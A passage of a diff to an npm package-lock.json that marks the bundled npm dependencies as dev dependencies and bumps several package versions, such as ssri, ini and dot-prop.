"npm-packlist": "^1.4.8", "npm-pick-manifest": "^3.0.2", "npm-profile": "^4.0.4", - "npm-registry-fetch": "^4.0.5", - "npm-user-validate": "~1.0.0", + "npm-registry-fetch": "^4.0.7", + "npm-user-validate": "^1.0.1", "npmlog": "~4.1.2", "once": "~1.4.0", - "opener": "^1.5.1", + "opener": "^1.5.2", "osenv": "^0.1.5", "pacote": "^9.5.12", "path-is-inside": "~1.0.2", @@ -9113,7 +12420,7 @@ "slide": "~1.1.6", "sorted-object": "~2.0.1", "sorted-union-stream": "~2.1.3", - "ssri": "^6.0.1", + "ssri": "^6.0.2", "stringify-package": "^1.0.1", "tar": "^4.4.13", "text-table": "~0.2.0", @@ -9134,6 +12441,7 @@ "JSONStream": { "version": "1.3.5", "bundled": true, + "dev": true, "requires": { "jsonparse": "^1.2.0", "through": ">=2.2.7 <3" @@ -9141,11 +12449,13 @@ }, "abbrev": { "version": "1.1.1", - "bundled": true + "bundled": true, + "dev": true }, "agent-base": { "version": "4.3.0", "bundled": true, + "dev": true, "requires": { "es6-promisify": "^5.0.0" } @@ -9153,57 +12463,56 @@ "agentkeepalive": { "version": "3.5.2", "bundled": true, + "dev": true, "requires": { "humanize-ms": "^1.2.1" } }, - "ajv": { - "version": "5.5.2", - "bundled": true, - "requires": { - "co": "^4.6.0", - "fast-deep-equal": "^1.0.0", - "fast-json-stable-stringify": "^2.0.0", - "json-schema-traverse": "^0.3.0" - } - }, "ansi-align": { "version": "2.0.0", "bundled": true, + "dev": true, "requires": { "string-width": "^2.0.0" } }, "ansi-regex": { "version": "2.1.1", - "bundled": true + "bundled": true, + "dev": true }, "ansi-styles": { "version": "3.2.1", "bundled": true, + "dev": true, "requires": { "color-convert": "^1.9.0" } }, "ansicolors": { "version": "0.3.2", - "bundled": true + "bundled": true, + "dev": true }, "ansistyles": { "version": "0.1.3", - "bundled": true + "bundled": true, + "dev": true }, "aproba": { "version": "2.0.0", - "bundled": true + "bundled": true, + "dev": true }, "archy": { "version": "1.0.0", - "bundled": true + "bundled": true, + "dev": true }, "are-we-there-yet": { "version": "1.1.4", "bundled": true, + "dev": true, "requires": { "delegates": "^1.0.0", "readable-stream": "^2.0.6" @@ -9212,6 +12521,7 @@ "readable-stream": { "version": "2.3.6", "bundled": true, + "dev": true, "requires": { "core-util-is": "~1.0.0", "inherits": "~2.0.3", @@ -9225,6 +12535,7 @@ "string_decoder": { "version": "1.1.1", "bundled": true, + "dev": true, "requires": { "safe-buffer": "~5.1.0" } @@ -9233,38 +12544,46 @@ }, "asap": { "version": "2.0.6", - "bundled": true + "bundled": true, + "dev": true }, "asn1": { "version": "0.2.4", "bundled": true, + "dev": true, "requires": { "safer-buffer": "~2.1.0" } }, "assert-plus": { "version": "1.0.0", - "bundled": true + "bundled": true, + "dev": true }, "asynckit": { "version": "0.4.0", - "bundled": true + "bundled": true, + "dev": true }, "aws-sign2": { "version": "0.7.0", - "bundled": true + "bundled": true, + "dev": true }, "aws4": { "version": "1.8.0", - "bundled": true + "bundled": true, + "dev": true }, "balanced-match": { "version": "1.0.0", - "bundled": true + "bundled": true, + "dev": true }, "bcrypt-pbkdf": { "version": "1.0.2", "bundled": true, + "dev": true, "optional": true, "requires": { "tweetnacl": "^0.14.3" @@ -9273,6 +12592,7 @@ "bin-links": { "version": "1.1.8", "bundled": true, + "dev": true, "requires": { "bluebird": "^3.5.3", "cmd-shim": "^3.0.0", @@ -9284,11 +12604,13 @@ }, "bluebird": { "version": "3.5.5", - "bundled": true + "bundled": true, + "dev": true }, "boxen": { "version": "1.3.0", "bundled": true, + "dev": true, "requires": { "ansi-align": "^2.0.0", "camelcase": "^4.0.0", @@ -9302,6 +12624,7 @@ "brace-expansion": { "version": "1.1.11", "bundled": true, + "dev": true, "requires": { "balanced-match": "^1.0.0", "concat-map": "0.0.1" @@ -9309,23 +12632,28 @@ }, "buffer-from": { "version": "1.0.0", - "bundled": true + "bundled": true, + "dev": true }, "builtins": { "version": "1.0.3", - "bundled": true + "bundled": true, + "dev": true }, "byline": { "version": "5.0.0", - "bundled": true + "bundled": true, + "dev": true }, "byte-size": { "version": "5.0.1", - "bundled": true + "bundled": true, + "dev": true }, "cacache": { "version": "12.0.3", "bundled": true, + "dev": true, "requires": { "bluebird": "^3.5.5", "chownr": "^1.1.1", @@ -9346,23 +12674,28 @@ }, "call-limit": { "version": "1.1.1", - "bundled": true + "bundled": true, + "dev": true }, "camelcase": { "version": "4.1.0", - "bundled": true + "bundled": true, + "dev": true }, "capture-stack-trace": { "version": "1.0.0", - "bundled": true + "bundled": true, + "dev": true }, "caseless": { "version": "0.12.0", - "bundled": true + "bundled": true, + "dev": true }, "chalk": { "version": "2.4.1", "bundled": true, + "dev": true, "requires": { "ansi-styles": "^3.2.1", "escape-string-regexp": "^1.0.5", @@ -9371,26 +12704,31 @@ }, "chownr": { "version": "1.1.4", - "bundled": true + "bundled": true, + "dev": true }, "ci-info": { "version": "2.0.0", - "bundled": true + "bundled": true, + "dev": true }, "cidr-regex": { "version": "2.0.10", "bundled": true, + "dev": true, "requires": { "ip-regex": "^2.1.0" } }, "cli-boxes": { "version": "1.0.0", - "bundled": true + "bundled": true, + "dev": true }, "cli-columns": { "version": "3.1.2", "bundled": true, + "dev": true, "requires": { "string-width": "^2.0.0", "strip-ansi": "^3.0.1" @@ -9399,6 +12737,7 @@ "cli-table3": { "version": "0.5.1", "bundled": true, + "dev": true, "requires": { "colors": "^1.1.2", "object-assign": "^4.1.0", @@ -9408,6 +12747,7 @@ "cliui": { "version": "5.0.0", "bundled": true, + "dev": true, "requires": { "string-width": "^3.1.0", "strip-ansi": "^5.2.0", @@ -9416,15 +12756,18 @@ "dependencies": { "ansi-regex": { "version": "4.1.0", - "bundled": true + "bundled": true, + "dev": true }, "is-fullwidth-code-point": { "version": "2.0.0", - "bundled": true + "bundled": true, + "dev": true }, "string-width": { "version": "3.1.0", "bundled": true, + "dev": true, "requires": { "emoji-regex": "^7.0.1", "is-fullwidth-code-point": "^2.0.0", @@ -9434,6 +12777,7 @@ "strip-ansi": { "version": "5.2.0", "bundled": true, + "dev": true, "requires": { "ansi-regex": "^4.1.0" } @@ -9442,43 +12786,46 @@ }, "clone": { "version": "1.0.4", - "bundled": true + "bundled": true, + "dev": true }, "cmd-shim": { "version": "3.0.3", "bundled": true, + "dev": true, "requires": { "graceful-fs": "^4.1.2", "mkdirp": "~0.5.0" } }, - "co": { - "version": "4.6.0", - "bundled": true - }, "code-point-at": { "version": "1.1.0", - "bundled": true + "bundled": true, + "dev": true }, "color-convert": { "version": "1.9.1", "bundled": true, + "dev": true, "requires": { "color-name": "^1.1.1" } }, "color-name": { "version": "1.1.3", - "bundled": true + "bundled": true, + "dev": true }, "colors": { "version": "1.3.3", "bundled": true, + "dev": true, "optional": true }, "columnify": { "version": "1.5.4", "bundled": true, + "dev": true, "requires": { "strip-ansi": "^3.0.0", "wcwidth": "^1.0.0" @@ -9487,17 +12834,20 @@ "combined-stream": { "version": "1.0.6", "bundled": true, + "dev": true, "requires": { "delayed-stream": "~1.0.0" } }, "concat-map": { "version": "0.0.1", - "bundled": true + "bundled": true, + "dev": true }, "concat-stream": { "version": "1.6.2", "bundled": true, + "dev": true, "requires": { "buffer-from": "^1.0.0", "inherits": "^2.0.3", @@ -9508,6 +12858,7 @@ "readable-stream": { "version": "2.3.6", "bundled": true, + "dev": true, "requires": { "core-util-is": "~1.0.0", "inherits": "~2.0.3", @@ -9521,6 +12872,7 @@ "string_decoder": { "version": "1.1.1", "bundled": true, + "dev": true, "requires": { "safe-buffer": "~5.1.0" } @@ -9530,16 +12882,18 @@ "config-chain": { "version": "1.1.12", "bundled": true, + "dev": true, "requires": { "ini": "^1.3.4", "proto-list": "~1.2.1" } }, "configstore": { - "version": "3.1.2", + "version": "3.1.5", "bundled": true, + "dev": true, "requires": { - "dot-prop": "^4.1.0", + "dot-prop": "^4.2.1", "graceful-fs": "^4.1.2", "make-dir": "^1.0.0", "unique-string": "^1.0.0", @@ -9549,11 +12903,13 @@ }, "console-control-strings": { "version": "1.1.0", - "bundled": true + "bundled": true, + "dev": true }, "copy-concurrently": { "version": "1.0.5", "bundled": true, + "dev": true, "requires": { "aproba": "^1.1.1", "fs-write-stream-atomic": "^1.0.8", @@ -9565,21 +12921,25 @@ "dependencies": { "aproba": { "version": "1.2.0", - "bundled": true + "bundled": true, + "dev": true }, "iferr": { "version": "0.1.5", - "bundled": true + "bundled": true, + "dev": true } } }, "core-util-is": { "version": "1.0.2", - "bundled": true + "bundled": true, + "dev": true }, "create-error-class": { "version": "3.0.2", "bundled": true, + "dev": true, "requires": { "capture-stack-trace": "^1.0.0" } @@ -9587,6 +12947,7 @@ "cross-spawn": { "version": "5.1.0", "bundled": true, + "dev": true, "requires": { "lru-cache": "^4.0.1", "shebang-command": "^1.2.0", @@ -9596,6 +12957,7 @@ "lru-cache": { "version": "4.1.5", "bundled": true, + "dev": true, "requires": { "pseudomap": "^1.0.2", "yallist": "^2.1.2" @@ -9603,21 +12965,25 @@ }, "yallist": { "version": "2.1.2", - "bundled": true + "bundled": true, + "dev": true } } }, "crypto-random-string": { "version": "1.0.0", - "bundled": true + "bundled": true, + "dev": true }, "cyclist": { "version": "0.2.2", - "bundled": true + "bundled": true, + "dev": true }, "dashdash": { "version": "1.14.1", "bundled": true, + "dev": true, "requires": { "assert-plus": "^1.0.0" } @@ -9625,35 +12991,42 @@ "debug": { "version": "3.1.0", "bundled": true, + "dev": true, "requires": { "ms": "2.0.0" }, "dependencies": { "ms": { "version": "2.0.0", - "bundled": true + "bundled": true, + "dev": true } } }, "debuglog": { "version": "1.0.1", - "bundled": true + "bundled": true, + "dev": true }, "decamelize": { "version": "1.2.0", - "bundled": true + "bundled": true, + "dev": true }, "decode-uri-component": { "version": "0.2.0", - "bundled": true + "bundled": true, + "dev": true }, "deep-extend": { "version": "0.6.0", - "bundled": true + "bundled": true, + "dev": true }, "defaults": { "version": "1.0.3", "bundled": true, + "dev": true, "requires": { "clone": "^1.0.2" } @@ -9661,52 +13034,62 @@ "define-properties": { "version": "1.1.3", "bundled": true, + "dev": true, "requires": { "object-keys": "^1.0.12" } }, "delayed-stream": { "version": "1.0.0", - "bundled": true + "bundled": true, + "dev": true }, "delegates": { "version": "1.0.0", - "bundled": true + "bundled": true, + "dev": true }, "detect-indent": { "version": "5.0.0", - "bundled": true + "bundled": true, + "dev": true }, "detect-newline": { "version": "2.1.0", - "bundled": true + "bundled": true, + "dev": true }, "dezalgo": { "version": "1.0.3", "bundled": true, + "dev": true, "requires": { "asap": "^2.0.0", "wrappy": "1" } }, "dot-prop": { - "version": "4.2.0", + "version": "4.2.1", "bundled": true, + "dev": true, "requires": { "is-obj": "^1.0.0" } }, "dotenv": { "version": "5.0.1", - "bundled": true + "bundled": true, + "dev": true }, "duplexer3": { "version": "0.1.4", - "bundled": true + "bundled": true, + "dev": true }, "duplexify": { "version": "3.6.0", "bundled": true, + "dev": true, "requires": { "end-of-stream": "^1.0.0", "inherits": "^2.0.1", @@ -9717,6 +13100,7 @@ "readable-stream": { "version": "2.3.6", "bundled": true, + "dev": true, "requires": { "core-util-is": "~1.0.0", "inherits": "~2.0.3", @@ -9730,6 +13114,7 @@ "string_decoder": { "version": "1.1.1", "bundled": true, + "dev": true, "requires": { "safe-buffer": "~5.1.0" } @@ -9739,6 +13124,7 @@ "ecc-jsbn": { "version": "0.1.2", "bundled": true, + "dev": true, "optional": true, "requires": { "jsbn": "~0.1.0", @@ -9747,15 +13133,18 @@ }, "editor": { "version": "1.0.0", - "bundled": true + "bundled": true, + "dev": true }, "emoji-regex": { "version": "7.0.3", - "bundled": true + "bundled": true, + "dev": true }, "encoding": { "version": "0.1.12", "bundled": true, + "dev": true, "requires": { "iconv-lite": "~0.4.13" } @@ -9763,21 +13152,25 @@ "end-of-stream": { "version": "1.4.1", "bundled": true, + "dev": true, "requires": { "once": "^1.4.0" } }, "env-paths": { "version": "2.2.0", - "bundled": true + "bundled": true, + "dev": true }, "err-code": { "version": "1.1.2", - "bundled": true + "bundled": true, + "dev": true }, "errno": { "version": "0.1.7", "bundled": true, + "dev": true, "requires": { "prr": "~1.0.1" } @@ -9785,6 +13178,7 @@ "es-abstract": { "version": "1.12.0", "bundled": true, + "dev": true, "requires": { "es-to-primitive": "^1.1.1", "function-bind": "^1.1.1", @@ -9796,6 +13190,7 @@ "es-to-primitive": { "version": "1.2.0", "bundled": true, + "dev": true, "requires": { "is-callable": "^1.1.4", "is-date-object": "^1.0.1", @@ -9804,22 +13199,26 @@ }, "es6-promise": { "version": "4.2.8", - "bundled": true + "bundled": true, + "dev": true }, "es6-promisify": { "version": "5.0.0", "bundled": true, + "dev": true, "requires": { "es6-promise": "^4.0.3" } }, "escape-string-regexp": { "version": "1.0.5", - "bundled": true + "bundled": true, + "dev": true }, "execa": { "version": "0.7.0", "bundled": true, + "dev": true, "requires": { "cross-spawn": "^5.0.1", "get-stream": "^3.0.0", @@ -9832,37 +13231,40 @@ "dependencies": { "get-stream": { "version": "3.0.0", - "bundled": true + "bundled": true, + "dev": true } } }, "extend": { "version": "3.0.2", - "bundled": true + "bundled": true, + "dev": true }, "extsprintf": { "version": "1.3.0", - "bundled": true - }, - "fast-deep-equal": { - "version": "1.1.0", - "bundled": true + "bundled": true, + "dev": true }, "fast-json-stable-stringify": { "version": "2.0.0", - "bundled": true + "bundled": true, + "dev": true }, "figgy-pudding": { "version": "3.5.1", - "bundled": true + "bundled": true, + "dev": true }, "find-npm-prefix": { "version": "1.0.2", - "bundled": true + "bundled": true, + "dev": true }, "flush-write-stream": { "version": "1.0.3", "bundled": true, + "dev": true, "requires": { "inherits": "^2.0.1", "readable-stream": "^2.0.4" @@ -9871,6 +13273,7 @@ "readable-stream": { "version": "2.3.6", "bundled": true, + "dev": true, "requires": { "core-util-is": "~1.0.0", "inherits": "~2.0.3", @@ -9884,6 +13287,7 @@ "string_decoder": { "version": "1.1.1", "bundled": true, + "dev": true, "requires": { "safe-buffer": "~5.1.0" } @@ -9892,11 +13296,13 @@ }, "forever-agent": { "version": "0.6.1", - "bundled": true + "bundled": true, + "dev": true }, "form-data": { "version": "2.3.2", "bundled": true, + "dev": true, "requires": { "asynckit": "^0.4.0", "combined-stream": "1.0.6", @@ -9906,6 +13312,7 @@ "from2": { "version": "2.3.0", "bundled": true, + "dev": true, "requires": { "inherits": "^2.0.1", "readable-stream": "^2.0.0" @@ -9914,6 +13321,7 @@ "readable-stream": { "version": "2.3.6", "bundled": true, + "dev": true, "requires": { "core-util-is": "~1.0.0", "inherits": "~2.0.3", @@ -9927,6 +13335,7 @@ "string_decoder": { "version": "1.1.1", "bundled": true, + "dev": true, "requires": { "safe-buffer": "~5.1.0" } @@ -9936,6 +13345,7 @@ "fs-minipass": { "version": "1.2.7", "bundled": true, + "dev": true, "requires": { "minipass": "^2.6.0" }, @@ -9943,6 +13353,7 @@ "minipass": { "version": "2.9.0", "bundled": true, + "dev": true, "requires": { "safe-buffer": "^5.1.2", "yallist": "^3.0.0" @@ -9953,6 +13364,7 @@ "fs-vacuum": { "version": "1.2.10", "bundled": true, + "dev": true, "requires": { "graceful-fs": "^4.1.2", "path-is-inside": "^1.0.1", @@ -9962,6 +13374,7 @@ "fs-write-stream-atomic": { "version": "1.0.10", "bundled": true, + "dev": true, "requires": { "graceful-fs": "^4.1.2", "iferr": "^0.1.5", @@ -9971,11 +13384,13 @@ "dependencies": { "iferr": { "version": "0.1.5", - "bundled": true + "bundled": true, + "dev": true }, "readable-stream": { "version": "2.3.6", "bundled": true, + "dev": true, "requires": { "core-util-is": "~1.0.0", "inherits": "~2.0.3", @@ -9989,6 +13404,7 @@ "string_decoder": { "version": "1.1.1", "bundled": true, + "dev": true, "requires": { "safe-buffer": "~5.1.0" } @@ -9997,15 +13413,18 @@ }, "fs.realpath": { "version": "1.0.0", - "bundled": true + "bundled": true, + "dev": true }, "function-bind": { "version": "1.1.1", - "bundled": true + "bundled": true, + "dev": true }, "gauge": { "version": "2.7.4", "bundled": true, + "dev": true, "requires": { "aproba": "^1.0.3", "console-control-strings": "^1.0.0", @@ -10019,11 +13438,13 @@ "dependencies": { "aproba": { "version": "1.2.0", - "bundled": true + "bundled": true, + "dev": true }, "string-width": { "version": "1.0.2", "bundled": true, + "dev": true, "requires": { "code-point-at": "^1.0.0", "is-fullwidth-code-point": "^1.0.0", @@ -10034,11 +13455,13 @@ }, "genfun": { "version": "5.0.0", - "bundled": true + "bundled": true, + "dev": true }, "gentle-fs": { "version": "2.3.1", "bundled": true, + "dev": true, "requires": { "aproba": "^1.1.2", "chownr": "^1.1.2", @@ -10055,21 +13478,25 @@ "dependencies": { "aproba": { "version": "1.2.0", - "bundled": true + "bundled": true, + "dev": true }, "iferr": { "version": "0.1.5", - "bundled": true + "bundled": true, + "dev": true } } }, "get-caller-file": { "version": "2.0.5", - "bundled": true + "bundled": true, + "dev": true }, "get-stream": { "version": "4.1.0", "bundled": true, + "dev": true, "requires": { "pump": "^3.0.0" } @@ -10077,6 +13504,7 @@ "getpass": { "version": "0.1.7", "bundled": true, + "dev": true, "requires": { "assert-plus": "^1.0.0" } @@ -10084,6 +13512,7 @@ "glob": { "version": "7.1.6", "bundled": true, + "dev": true, "requires": { "fs.realpath": "^1.0.0", "inflight": "^1.0.4", @@ -10096,6 +13525,7 @@ "global-dirs": { "version": "0.1.1", "bundled": true, + "dev": true, "requires": { "ini": "^1.3.4" } @@ -10103,6 +13533,7 @@ "got": { "version": "6.7.1", "bundled": true, + "dev": true, "requires": { "create-error-class": "^3.0.0", "duplexer3": "^0.1.4", @@ -10119,56 +13550,90 @@ "dependencies": { "get-stream": { "version": "3.0.0", - "bundled": true + "bundled": true, + "dev": true } } }, "graceful-fs": { "version": "4.2.4", - "bundled": true + "bundled": true, + "dev": true }, "har-schema": { "version": "2.0.0", - "bundled": true + "bundled": true, + "dev": true }, "har-validator": { - "version": "5.1.0", + "version": "5.1.5", "bundled": true, + "dev": true, "requires": { - "ajv": "^5.3.0", + "ajv": "^6.12.3", "har-schema": "^2.0.0" + }, + "dependencies": { + "ajv": { + "version": "6.12.6", + "bundled": true, + "dev": true, + "requires": { + "fast-deep-equal": "^3.1.1", + "fast-json-stable-stringify": "^2.0.0", + "json-schema-traverse": "^0.4.1", + "uri-js": "^4.2.2" + } + }, + "fast-deep-equal": { + "version": "3.1.3", + "bundled": true, + "dev": true + }, + "json-schema-traverse": { + "version": "0.4.1", + "bundled": true, + "dev": true + } } }, "has": { "version": "1.0.3", "bundled": true, + "dev": true, "requires": { "function-bind": "^1.1.1" } }, "has-flag": { "version": "3.0.0", - "bundled": true + "bundled": true, + "dev": true }, "has-symbols": { "version": "1.0.0", - "bundled": true + "bundled": true, + "dev": true }, "has-unicode": { "version": "2.0.1", - "bundled": true + "bundled": true, + "dev": true }, "hosted-git-info": { - "version": "2.8.8", - "bundled": true + "version": "2.8.9", + "bundled": true, + "dev": true }, "http-cache-semantics": { "version": "3.8.1", - "bundled": true + "bundled": true, + "dev": true }, "http-proxy-agent": { "version": "2.1.0", "bundled": true, + "dev": true, "requires": { "agent-base": "4", "debug": "3.1.0" @@ -10177,6 +13642,7 @@ "http-signature": { "version": "1.2.0", "bundled": true, + "dev": true, "requires": { "assert-plus": "^1.0.0", "jsprim": "^1.2.2", @@ -10186,6 +13652,7 @@ "https-proxy-agent": { "version": "2.2.4", "bundled": true, + "dev": true, "requires": { "agent-base": "^4.3.0", "debug": "^3.1.0" @@ -10194,6 +13661,7 @@ "humanize-ms": { "version": "1.2.1", "bundled": true, + "dev": true, "requires": { "ms": "^2.0.0" } @@ -10201,36 +13669,43 @@ "iconv-lite": { "version": "0.4.23", "bundled": true, + "dev": true, "requires": { "safer-buffer": ">= 2.1.2 < 3" } }, "iferr": { "version": "1.0.2", - "bundled": true + "bundled": true, + "dev": true }, "ignore-walk": { "version": "3.0.3", "bundled": true, + "dev": true, "requires": { "minimatch": "^3.0.4" } }, "import-lazy": { "version": "2.1.0", - "bundled": true + "bundled": true, + "dev": true }, "imurmurhash": { "version": "0.1.4", - "bundled": true + "bundled": true, + "dev": true }, "infer-owner": { "version": "1.0.4", - "bundled": true + "bundled": true, + "dev": true }, "inflight": { "version": "1.0.6", "bundled": true, + "dev": true, "requires": { "once": "^1.3.0", "wrappy": "1" @@ -10238,15 +13713,18 @@ }, "inherits": { "version": "2.0.4", - "bundled": true + "bundled": true, + "dev": true }, "ini": { - "version": "1.3.5", - "bundled": true + "version": "1.3.8", + "bundled": true, + "dev": true }, "init-package-json": { "version": "1.10.3", "bundled": true, + "dev": true, "requires": { "glob": "^7.1.1", "npm-package-arg": "^4.0.0 || ^5.0.0 || ^6.0.0", @@ -10260,43 +13738,51 @@ }, "ip": { "version": "1.1.5", - "bundled": true + "bundled": true, + "dev": true }, "ip-regex": { "version": "2.1.0", - "bundled": true + "bundled": true, + "dev": true }, "is-callable": { "version": "1.1.4", - "bundled": true + "bundled": true, + "dev": true }, "is-ci": { "version": "1.2.1", "bundled": true, + "dev": true, "requires": { "ci-info": "^1.5.0" }, "dependencies": { "ci-info": { "version": "1.6.0", - "bundled": true + "bundled": true, + "dev": true } } }, "is-cidr": { "version": "3.0.0", "bundled": true, + "dev": true, "requires": { "cidr-regex": "^2.0.10" } }, "is-date-object": { "version": "1.0.1", - "bundled": true + "bundled": true, + "dev": true }, "is-fullwidth-code-point": { "version": "1.0.0", "bundled": true, + "dev": true, "requires": { "number-is-nan": "^1.0.0" } @@ -10304,6 +13790,7 @@ "is-installed-globally": { "version": "0.1.0", "bundled": true, + "dev": true, "requires": { "global-dirs": "^0.1.0", "is-path-inside": "^1.0.0" @@ -10311,89 +13798,103 @@ }, "is-npm": { "version": "1.0.0", - "bundled": true + "bundled": true, + "dev": true }, "is-obj": { "version": "1.0.1", - "bundled": true + "bundled": true, + "dev": true }, "is-path-inside": { "version": "1.0.1", "bundled": true, + "dev": true, "requires": { "path-is-inside": "^1.0.1" } }, "is-redirect": { "version": "1.0.0", - "bundled": true + "bundled": true, + "dev": true }, "is-regex": { "version": "1.0.4", "bundled": true, + "dev": true, "requires": { "has": "^1.0.1" } }, "is-retry-allowed": { "version": "1.2.0", - "bundled": true + "bundled": true, + "dev": true }, "is-stream": { "version": "1.1.0", - "bundled": true + "bundled": true, + "dev": true }, "is-symbol": { "version": "1.0.2", "bundled": true, + "dev": true, "requires": { "has-symbols": "^1.0.0" } }, "is-typedarray": { "version": "1.0.0", - "bundled": true + "bundled": true, + "dev": true }, "isarray": { "version": "1.0.0", - "bundled": true + "bundled": true, + "dev": true }, "isexe": { "version": "2.0.0", - "bundled": true + "bundled": true, + "dev": true }, "isstream": { "version": "0.1.2", - "bundled": true + "bundled": true, + "dev": true }, "jsbn": { "version": "0.1.1", "bundled": true, + "dev": true, "optional": true }, "json-parse-better-errors": { "version": "1.0.2", - "bundled": true + "bundled": true, + "dev": true }, "json-schema": { "version": "0.2.3", - "bundled": true - }, - "json-schema-traverse": { - "version": "0.3.1", - "bundled": true + "bundled": true, + "dev": true }, "json-stringify-safe": { "version": "5.0.1", - "bundled": true + "bundled": true, + "dev": true }, "jsonparse": { "version": "1.3.1", - "bundled": true + "bundled": true, + "dev": true }, "jsprim": { "version": "1.4.1", "bundled": true, + "dev": true, "requires": { "assert-plus": "1.0.0", "extsprintf": "1.3.0", @@ -10404,17 +13905,20 @@ "latest-version": { "version": "3.1.0", "bundled": true, + "dev": true, "requires": { "package-json": "^4.0.0" } }, "lazy-property": { "version": "1.0.0", - "bundled": true + "bundled": true, + "dev": true }, "libcipm": { "version": "4.0.8", "bundled": true, + "dev": true, "requires": { "bin-links": "^1.1.2", "bluebird": "^3.5.1", @@ -10436,6 +13940,7 @@ "libnpm": { "version": "3.0.1", "bundled": true, + "dev": true, "requires": { "bin-links": "^1.1.2", "bluebird": "^3.5.3", @@ -10462,6 +13967,7 @@ "libnpmaccess": { "version": "3.0.2", "bundled": true, + "dev": true, "requires": { "aproba": "^2.0.0", "get-stream": "^4.0.0", @@ -10472,6 +13978,7 @@ "libnpmconfig": { "version": "1.2.1", "bundled": true, + "dev": true, "requires": { "figgy-pudding": "^3.5.1", "find-up": "^3.0.0", @@ -10481,6 +13988,7 @@ "find-up": { "version": "3.0.0", "bundled": true, + "dev": true, "requires": { "locate-path": "^3.0.0" } @@ -10488,6 +13996,7 @@ "locate-path": { "version": "3.0.0", "bundled": true, + "dev": true, "requires": { "p-locate": "^3.0.0", "path-exists": "^3.0.0" @@ -10496,6 +14005,7 @@ "p-limit": { "version": "2.2.0", "bundled": true, + "dev": true, "requires": { "p-try": "^2.0.0" } @@ -10503,19 +14013,22 @@ "p-locate": { "version": "3.0.0", "bundled": true, + "dev": true, "requires": { "p-limit": "^2.0.0" } }, "p-try": { "version": "2.2.0", - "bundled": true + "bundled": true, + "dev": true } } }, "libnpmhook": { "version": "5.0.3", "bundled": true, + "dev": true, "requires": { "aproba": "^2.0.0", "figgy-pudding": "^3.4.1", @@ -10526,6 +14039,7 @@ "libnpmorg": { "version": "1.0.1", "bundled": true, + "dev": true, "requires": { "aproba": "^2.0.0", "figgy-pudding": "^3.4.1", @@ -10536,6 +14050,7 @@ "libnpmpublish": { "version": "1.1.2", "bundled": true, + "dev": true, "requires": { "aproba": "^2.0.0", "figgy-pudding": "^3.5.1", @@ -10551,6 +14066,7 @@ "libnpmsearch": { "version": "2.0.2", "bundled": true, + "dev": true, "requires": { "figgy-pudding": "^3.5.1", "get-stream": "^4.0.0", @@ -10560,6 +14076,7 @@ "libnpmteam": { "version": "1.0.2", "bundled": true, + "dev": true, "requires": { "aproba": "^2.0.0", "figgy-pudding": "^3.4.1", @@ -10570,6 +14087,7 @@ "libnpx": { "version": "10.2.4", "bundled": true, + "dev": true, "requires": { "dotenv": "^5.0.1", "npm-package-arg": "^6.0.0", @@ -10584,6 +14102,7 @@ "lock-verify": { "version": "2.1.0", "bundled": true, + "dev": true, "requires": { "npm-package-arg": "^6.1.0", "semver": "^5.4.1" @@ -10592,17 +14111,20 @@ "lockfile": { "version": "1.0.4", "bundled": true, + "dev": true, "requires": { "signal-exit": "^3.0.2" } }, "lodash._baseindexof": { "version": "3.1.0", - "bundled": true + "bundled": true, + "dev": true }, "lodash._baseuniq": { "version": "4.6.0", "bundled": true, + "dev": true, "requires": { "lodash._createset": "~4.0.0", "lodash._root": "~3.0.0" @@ -10610,58 +14132,71 @@ }, "lodash._bindcallback": { "version": "3.0.1", - "bundled": true + "bundled": true, + "dev": true }, "lodash._cacheindexof": { "version": "3.0.2", - "bundled": true + "bundled": true, + "dev": true }, "lodash._createcache": { "version": "3.1.2", "bundled": true, + "dev": true, "requires": { "lodash._getnative": "^3.0.0" } }, "lodash._createset": { "version": "4.0.3", - "bundled": true + "bundled": true, + "dev": true }, "lodash._getnative": { "version": "3.9.1", - "bundled": true + "bundled": true, + "dev": true }, "lodash._root": { "version": "3.0.1", - "bundled": true + "bundled": true, + "dev": true }, "lodash.clonedeep": { "version": "4.5.0", - "bundled": true + "bundled": true, + "dev": true }, "lodash.restparam": { "version": "3.6.1", - "bundled": true + "bundled": true, + "dev": true }, "lodash.union": { "version": "4.6.0", - "bundled": true + "bundled": true, + "dev": true }, "lodash.uniq": { "version": "4.5.0", - "bundled": true + "bundled": true, + "dev": true }, "lodash.without": { "version": "4.4.0", - "bundled": true + "bundled": true, + "dev": true }, "lowercase-keys": { "version": "1.0.1", - "bundled": true + "bundled": true, + "dev": true }, "lru-cache": { "version": "5.1.1", "bundled": true, + "dev": true, "requires": { "yallist": "^3.0.2" } @@ -10669,6 +14204,7 @@ "make-dir": { "version": "1.3.0", "bundled": true, + "dev": true, "requires": { "pify": "^3.0.0" } @@ -10676,6 +14212,7 @@ "make-fetch-happen": { "version": "5.0.2", "bundled": true, + "dev": true, "requires": { "agentkeepalive": "^3.4.1", "cacache": "^12.0.0", @@ -10691,16 +14228,19 @@ } }, "meant": { - "version": "1.0.1", - "bundled": true + "version": "1.0.2", + "bundled": true, + "dev": true }, "mime-db": { "version": "1.35.0", - "bundled": true + "bundled": true, + "dev": true }, "mime-types": { "version": "2.1.19", "bundled": true, + "dev": true, "requires": { "mime-db": "~1.35.0" } @@ -10708,13 +14248,20 @@ "minimatch": { "version": "3.0.4", "bundled": true, + "dev": true, "requires": { "brace-expansion": "^1.1.7" } }, + "minimist": { + "version": "1.2.5", + "bundled": true, + "dev": true + }, "minizlib": { "version": "1.3.3", "bundled": true, + "dev": true, "requires": { "minipass": "^2.9.0" }, @@ -10722,6 +14269,7 @@ "minipass": { "version": "2.9.0", "bundled": true, + "dev": true, "requires": { "safe-buffer": "^5.1.2", "yallist": "^3.0.0" @@ -10732,6 +14280,7 @@ "mississippi": { "version": "3.0.0", "bundled": true, + "dev": true, "requires": { "concat-stream": "^1.5.0", "duplexify": "^3.4.2", @@ -10748,19 +14297,22 @@ "mkdirp": { "version": "0.5.5", "bundled": true, + "dev": true, "requires": { "minimist": "^1.2.5" }, "dependencies": { "minimist": { "version": "1.2.5", - "bundled": true + "bundled": true, + "dev": true } } }, "move-concurrently": { "version": "1.0.1", "bundled": true, + "dev": true, "requires": { "aproba": "^1.1.1", "copy-concurrently": "^1.0.0", @@ -10772,21 +14324,25 @@ "dependencies": { "aproba": { "version": "1.2.0", - "bundled": true + "bundled": true, + "dev": true } } }, "ms": { "version": "2.1.1", - "bundled": true + "bundled": true, + "dev": true }, "mute-stream": { "version": "0.0.7", - "bundled": true + "bundled": true, + "dev": true }, "node-fetch-npm": { "version": "2.0.2", "bundled": true, + "dev": true, "requires": { "encoding": "^0.1.11", "json-parse-better-errors": "^1.0.0", @@ -10796,6 +14352,7 @@ 